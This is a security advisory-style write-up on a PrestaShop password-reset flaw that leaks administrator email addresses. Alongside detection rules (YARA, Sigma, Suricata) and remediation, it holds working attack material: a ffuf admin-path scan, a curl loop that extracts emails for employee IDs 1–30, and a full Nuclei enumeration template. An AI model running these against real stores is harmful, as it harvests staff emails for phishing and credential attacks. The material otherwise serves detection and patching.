CVE-2025-51586
Executive Summary
CVE-2025-51586 is an information disclosure vulnerability in PrestaShop, an open-source e-commerce platform. The flaw resides in the controllers/admin/AdminLoginController.php file, specifically within the password reset feature. An unauthenticated attacker with network access to the Back Office login URL can enumerate administrator email addresses by manipulating the id_employee and reset_token parameters. Even when an invalid reset token is provided, the system discloses the associated email address in a hidden HTML field. This allows attackers to build a list of valid administrator accounts, facilitating targeted phishing or brute-force attacks. The vulnerability affects PrestaShop versions 1.7 through 8.2.2 and has been fixed in version 8.2.3.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
PrestaShop is distributed as a PHP application via its official website and GitHub repository. The vulnerability is not in a third-party package but in the core application code. The fix is available in the official GitHub repository and is distributed through standard update channels. Users should verify the integrity of their update by checking the SHA-256 hash provided by PrestaShop.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required; the attacker only needs to send crafted HTTP requests.
- Privileges Required (PR): None (N) - No authentication is needed.
- User Interaction (UI): None (N) - The victim does not need to perform any action.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): Low (L) - Only email addresses are disclosed, not full account credentials.
- Integrity (I): None (N) - No data is modified.
- Availability (A): None (N) - The service remains available.
CVSS Score: 5.3 (Medium)
Threat Level: Medium. While the direct impact is limited to email disclosure, this information can be used as a stepping stone for more severe attacks like spear-phishing or credential stuffing.
Deep Dive & Mechanics
The vulnerability is triggered through the password reset flow in the PrestaShop Back Office. The AdminLoginController handles password reset requests. When a user accesses the password reset form with a valid id_employee (employee ID) and a reset_token, the system should only display the email address if the token is valid. However, due to a logic flaw, the email address is included in the HTML response even when the token is invalid.
Attack Flow:
- Discovery: The attacker first identifies the PrestaShop Back Office login URL. This can be done by probing common paths (e.g.,
/admin,/backoffice,/admin-dev). - Enumeration: The attacker sends a GET request to the password reset endpoint with a crafted
id_employeeparameter (e.g., 1, 2, 3...) and a randomreset_token. - Extraction: The server responds with an HTML page containing a hidden input field named
reset_emailthat holds the email address of the employee associated with the providedid_employee. This occurs regardless of the validity of thereset_token. - Iteration: The attacker repeats this process for different
id_employeevalues to enumerate all administrator email addresses.
Root Cause: The vulnerability is a classic case of CWE-359: Exposure of Private Personal Information to an Unauthorized Actor. The code fails to verify the validity of the reset token before including the email address in the response. The email address should only be revealed after a successful token validation.
Vulnerable vs. Patched Code
The vulnerable code is in controllers/admin/AdminLoginController.php. The exact vulnerable code snippet is not publicly available, but the fix is known to involve moving the email address disclosure logic to after the token validation step.
Vulnerable Logic (Conceptual):
// Vulnerable: Email is always included in the response
$employee = new Employee($id_employee);
$email = $employee->email;
// Token validation happens later, but email is already in the HTML
Patched Logic (Conceptual):
// Patched: Email is only included after successful token validation
$employee = new Employee($id_employee);
if ($employee->isValidResetToken($reset_token)) {
$email = $employee->email;
// Include email in the response
} else {
// Do not include email
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable PrestaShop instance (version 8.2.2 or earlier).
- Network access to the Back Office login URL.
Exploitation Steps:
- Identify the Back Office URL: Use a tool like
ffufordirbto find the admin path.ffuf -u http://target.com/FUZZ/ -w /usr/share/wordlists/dirb/common.txt -fc 403,404 - Enumerate Email Addresses: Use
curlto send requests for different employee IDs.# Replace /admin with the actual path for id in $(seq 1 30); do curl -s "http://target.com/admin/index.php?controller=AdminLogin&token=random123&id_employee=$id&reset_token=invalid" | grep -oP 'name="reset_email" value="\K[^"]+' done - Automate with Nuclei: The provided Nuclei template automates this process. It first detects the admin path, then iterates through employee IDs 1-30 to extract email addresses.
Nuclei Template Usage:
nuclei -t CVE-2025-51586.yaml -u http://target.com
Blue Team
Detection:
- Monitor for repeated requests to the
AdminLogincontroller with varyingid_employeeparameters. - Look for patterns where a single IP address requests multiple password resets for different employee IDs in a short time frame.
- Alert on HTTP 200 responses containing the
reset_emailhidden field from unauthenticated requests.
Hunting:
- Search web server logs for requests matching the pattern:
index.php?controller=AdminLogin&token=*&id_employee=*&reset_token=*. - Correlate these requests with the absence of a valid session cookie.
Lab Setup:
- Install Vulnerable PrestaShop: Download PrestaShop 8.2.2 from the official archive.
- Configure: Set up a web server (Apache/Nginx) with PHP and MySQL.
- Create Admin Accounts: Create multiple admin accounts with known email addresses.
- Test: Run the Nuclei template or manual
curlcommands to verify the vulnerability.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP GET requests to
*/index.php?controller=AdminLogin&token=*&id_employee=*&reset_token=* - Multiple requests from the same source IP to different
id_employeevalues (e.g., 1, 2, 3...). - HTTP responses containing the pattern:
<input[^>]*name="reset_email"[^>]*value="[^"]+"
- HTTP GET requests to
- File IOCs:
- Log entries in
access.logorerror.logshowing the above request patterns.
- Log entries in
- System IOCs:
- Unusual CPU or memory spikes on the web server due to automated scanning.
Detection Engineering
YARA Rule
rule CVE_2025_51586_PrestaShop_Email_Disclosure {
meta:
description = "Detects HTTP responses containing PrestaShop admin email disclosure"
author = "Valters IT"
date = "2025-09-04"
reference = "CVE-2025-51586"
hash = "4a0a00473045022100c11f27e73fb8590375bf3b2d7e70614b8762c8199f58c2f7b063f419c963024902200bc6dd06707ed801ced9e1e98fb097acbc8ae14f8301b82cb40e5800c6ecce51"
strings:
$s1 = "AdminLogin" ascii
$s2 = "PrestaShop" ascii
$s3 = /<input[^>]*name="reset_email"[^>]*value="([^"]+)"/ ascii
condition:
all of ($s1, $s2, $s3)
}
Sigma Rule
title: PrestaShop Admin Email Enumeration via Password Reset
id: 7b8c3d4e-5f6a-7b8c-9d0e-1f2a3b4c5d6e
status: experimental
description: Detects attempts to enumerate admin email addresses in PrestaShop by manipulating the password reset feature.
author: Valters IT
date: 2025-09-04
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-51586
- https://maxime-morel.github.io/advisories/2025/CVE-2025-51586.md
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains|all:
- 'controller=AdminLogin'
- 'id_employee='
- 'reset_token='
condition: selection
falsepositives:
- Legitimate password reset attempts (rare for multiple IDs)
level: medium
tags:
- attack.reconnaissance
- attack.t1589
- cve.2025.51586
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-51586 PrestaShop Admin Email Enumeration Attempt";
flow:to_server,established;
content:"GET";
http_method;
content:"controller=AdminLogin";
http_uri;
content:"id_employee=";
http_uri;
content:"reset_token=";
http_uri;
pcre:"/id_employee=\d+/";
classtype:attempted-recon;
sid:10000001;
rev:1;
reference:cve,2025-51586;
reference:url,https://nvd.nist.gov/vuln/detail/CVE-2025-51586;
)
Nuclei Template
id: CVE-2025-51586
info:
name: PrestaShop - Information Disclosure
author: mastercho
severity: medium
description: |
User enumeration vulnerability in the AdminLogin controller in PrestaShop 1.7 through 8.2.2 allows remote attackers to obtain administrators user email addresses via manipulation of the id_employee and reset_token parameters. An attacker who has access to the Back Office login URL can trigger the password reset form to disclose the associated email address in a hidden field, even when the provided reset token is invalid. This issue has been fixed in 8.2.3.
impact: |
Attackers with access to the Back Office login URL can enumerate administrator email addresses through manipulation of password reset parameters, facilitating targeted phishing attacks.
remediation: |
Upgrade PrestaShop to version 8.2.3 or later that properly protects email addresses in password reset functionality.
reference:
- https://maxime-morel.github.io/advisories/2025/CVE-2025-51586.md
- https://security.friendsofpresta.org/core/2025/09/04/CVE-2025-51586.html
- https://nvd.nist.gov/vuln/detail/CVE-2025-51586
classification:
cwe-id: CWE-359
metadata:
verified: true
vendor: prestashop
product: prestashop
shodan-query: http.component:"prestashop"
tags: cve,cve2025,prestashop,disclosure,token
variables:
token: "{{rand_base(32)}}"
token2: "{{rand_base(32)}}"
flow: |
// 1) Run panel detection on all common admin paths
http(1);
// 2) Unwrap matchedpath (extractors return a list in flow)
var path = "";
if (template["matchedpath"] && template["matchedpath"].length) {
for (let p of iterate(template["matchedpath"])) {
path = p;
break; // use first detected admin path
}
}
// 3) Unwrap version (first extracted value)
var v = "";
if (template["version"] && template["version"].length) {
for (let ver of iterate(template["version"])) {
v = ver;
break;
}
}
// 4) JS version check: vulnerable if version < 8.2.3
function isVulnerable(ver) {
if (!ver) return true; // unknown version -> still test
var parts = (ver + "").split(".");
var M = parseInt(parts[0] || "0", 10);
var m = parseInt(parts[1] || "0", 10);
var p = parseInt(parts[2] || "0", 10);
if (M < 8) return true;
if (M > 8) return false;
if (m < 2) return true;
if (m > 2) return false;
return p < 3; // 8.2.0–8.2.2 are vuln; 8.2.3+ are not
}
// 5) Only execute http(2) if we have a path AND the version is vulnerable
if (path && isVulnerable(v)) {
set("matchedpath", path); // scalar for interpolation in http(2)
http(2);
}
http:
- id: detect-panel
method: GET
path:
- '{{BaseURL}}/{{paths}}/'
payloads:
paths:
- 'backoffice'
- 'back-office'
- 'Backoffice'
- 'admin-dev'
- 'backend'
- 'admin_'
- 'mikromanage'
- 'manage'
- 'manager'
- 'adminshop'
- 'administrator'
- 'administracja'
- 'adm'
- 'webadmin'
- 'admin-web'
- 'kontrollpanel'
- 'amministra'
- 'adminas'
- 'admin123'
- 'admin0'
- 'adminxx'
- 'admin'
- 'ps-admin'
- 'admins'
- 'p-office'
- 'admin333'
- 'admin4444'
- 'admin66'
- 'backadmin'
- 'admin1'
- 'BackofficeNEW'
- '4dm1n'
- 'administrazione'
- 'accesadministrateur'
- '_admin123'
- 'iadmin'
- 'panel'
host-redirects: true
max-redirects: 3
extractors:
- type: regex
name: matchedpath
part: body
group: 1
internal: true
regex:
- 'value="https?:\/\/[^\/]+\/((?:[A-Za-z]{2}\/)?(?:[A-Za-z0-9_-]*admin(?:-dev)?|[Bb]ackoffice|adm|panel)[^"]*?)\/'
- type: regex
name: version
part: body
internal: true
group: 1
regex:
- 'login\.js\?v=([0-9.]+)'
stop-at-first-match: true
matchers-condition: or
matchers:
- type: word
part: body
words:
- 'PrestaShop'
- 'class="show-forgot-password'
condition: and
- type: word
part: body
words:
- 'themes/default/css/admin-theme.css'
- 'class="show-forgot-password'
condition: and
- id: generate-token
method: GET
path:
- '{{Scheme}}://{{Hostname}}/{{matchedpath}}/index.php?controller=AdminLogin&token={{token}}&id_employee={{id}}&reset_token={{token2}}'
payloads:
id:
- '1'
- '2'
- '3'
- '4'
- '5'
- '6'
- '7'
- '8'
- '9'
- '10'
- '11'
- '12'
- '13'
- '14'
- '15'
- '16'
- '17'
- '18'
- '19'
- '20'
- '21'
- '22'
- '23'
- '24'
- '25'
- '26'
- '27'
- '28'
- '29'
- '30'
iterate-all: true
extractors:
- type: regex
name: reset-email
part: body
group: 1
regex:
- '<input[^>]*name="reset_email"[^>]*value="([^"]+)"'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'AdminLogin'
- 'PrestaShop'
condition: and
- type: status
status:
- 200
- type: regex
part: body
regex:
- '<input[^>]*name="reset_email"[^>]*value="([^"]+)"'
# digest: 4a0a00473045022100c11f27e73fb8590375bf3b2d7e70614b8762c8199f58c2f7b063f419c963024902200bc6dd06707ed801ced9e1e98fb097acbc8ae14f8301b82cb40e5800c6ecce51:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update PrestaShop to version 8.2.3 or later immediately. This is the only complete fix.
- Virtual Patching: If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests matching the pattern
index.php?controller=AdminLogin&token=*&id_employee=*&reset_token=*from unauthenticated users. - Rate Limiting: Implement rate limiting on the password reset endpoint to slow down enumeration attempts.
Long-Term Measures:
- Security Hardening: Follow PrestaShop's security best practices, including changing default admin paths and using strong passwords.
- Monitoring: Implement the detection rules provided in this report to alert on future exploitation attempts.
- Audit: Regularly audit user accounts and review access logs for suspicious activity.
Valters IT
{/* [Security Hash: 9637C9FCD3A9761E7FAFBB7C] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.